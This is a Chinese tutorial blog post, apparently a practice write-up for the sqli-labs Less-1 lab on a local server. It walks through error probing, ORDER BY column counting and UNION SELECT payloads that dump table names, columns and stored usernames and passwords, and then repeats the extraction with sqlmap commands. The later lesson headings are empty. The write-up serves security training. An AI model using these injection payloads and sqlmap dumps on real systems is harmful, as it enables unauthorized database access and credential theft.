IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> sqli-labs练习——sql注入 -> 正文阅读

[大数据]sqli-labs练习——sql注入

/***

环境搭建

CSDNhttps://mp.csdn.net/mp_blog/creation/editor/122668696

***/

一、less-1

法一:常规

(1)题目让提交一个参数,没说是get参数还是post参数,那先尝试一下get参数

(2)首先触发网站的异常,如果触发异常了,说明网站存在sql注入漏洞,甚至可以通过报错信息,获取数据库的一些信息。

1)可以通过特殊字符进行尝试

? ? ? ? (空格、#号需要url转义)

????????报如下异常

????????尝试单引号,报如下异常:

????????尝试双引号,没有报异常:

????????

2)通过以上异常测试,只有双引号没有报错,说明双引号在数据库中被使用了,而单引号由于和前面的单引号闭合导致报错,说明我们可以通过单引号将该sql语句闭合。

????????服务器会把单引号后面的指令当作指令来处理,加一个“#”号就可以屏蔽后面的指令了(sql中注释符为#)

????????

3)测试该数据库的列数,url后加上order by,eg:order by 3没有报错,说明至少有3列,4列报错,测试得该数据库有三列

????????

????????

4)使用联合查询union slect 1,2,3,首先要把前面的条件改为不满足的情况,才能使用联合查询。以判断哪一列会在前端中显示,

????????(视频2111242,59:00详细讲解)

????????//***? 联合查询:

????????a、输出两个查询之间的集合。

? ? ? ? b、一般网站只有一个显示的地方,如果联合查询前面查询的内容存在,也只会显示第一个数据,而不显示select后面的内容,为了使select后面的内容显示出来,需要前面的查询没有内容 。

? ? ? ? c、只有列数相同才能进行联合查询,否则报错,如下。

?????????????????????????

????????***//

?????????

? ? ? ? 可以判断本题,第一列不显示,第二列为 name,第三列为password

???5) database()获取正在使用的数据库的名字,为security;

????????

6)获取security数据库中有些哪些表:

????????/***

????????information_schema.tables? ? ? ? ?# information_schema表记录数据库本身的一些信息

? ? ? ? group_concat? ? ? ?# 组合查询,对查询出来的多个结果进行组合输出

? ? ? ? ***/

http://127.0.0.1:8084/Less-1/?id=-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security‘), 3%23

?????????

?7)对有敏感信息表头的表再次进行查询,如“users”

????????http://127.0.0.1:8084/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3%23

?????????

????????//***? ? ? ? column 表示列? ? ? ? ?***//

8)进一步查询敏感信息,如uesrname、password

????????http://127.0.0.1:8084/Less-1/?id=-1' union select 1,(select group_concat(username,password) from users), 3%23?

?

?加分隔符

加换行符:

http://127.0.0.1:8084/Less-1/?id=-1' union select 1,(select group_concat(username,'-',password separator '</br>') from users), 3%23

?成功拿到所有登录名和密码

法二:使用工具sqlmap

(1)使用命令查到服务器数据库

? ? ? ? (sqlmap.py --purge? ?清空初始化

? ? ? ? ? ? ? ? --batch 均使用默认的选项)

python sqlmap.py -u "127.0.0.1:8084/Less-1/?id=1" --dbs

(2)对我们想要查询的数据库求表名

python sqlmap.py -u "127.0.0.1:8084/Less-1/?id=1" -D security --tables

(3)对我们想要查询的表求列名

python sqlmap.py -u "127.0.0.1:8084/Less-1/?id=1" -D security -T users --columns

?

(4)发现users里面有name和password,求users的dump数据?

python sqlmap.py -u "127.0.0.1:8084/Less-1/?id=1" -D security -T users --dump

?

?

二、less-2

三、less-3

四、less-4

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-01-30 18:59:54  更:2022-01-30 19:01:31 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 12:31:12-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码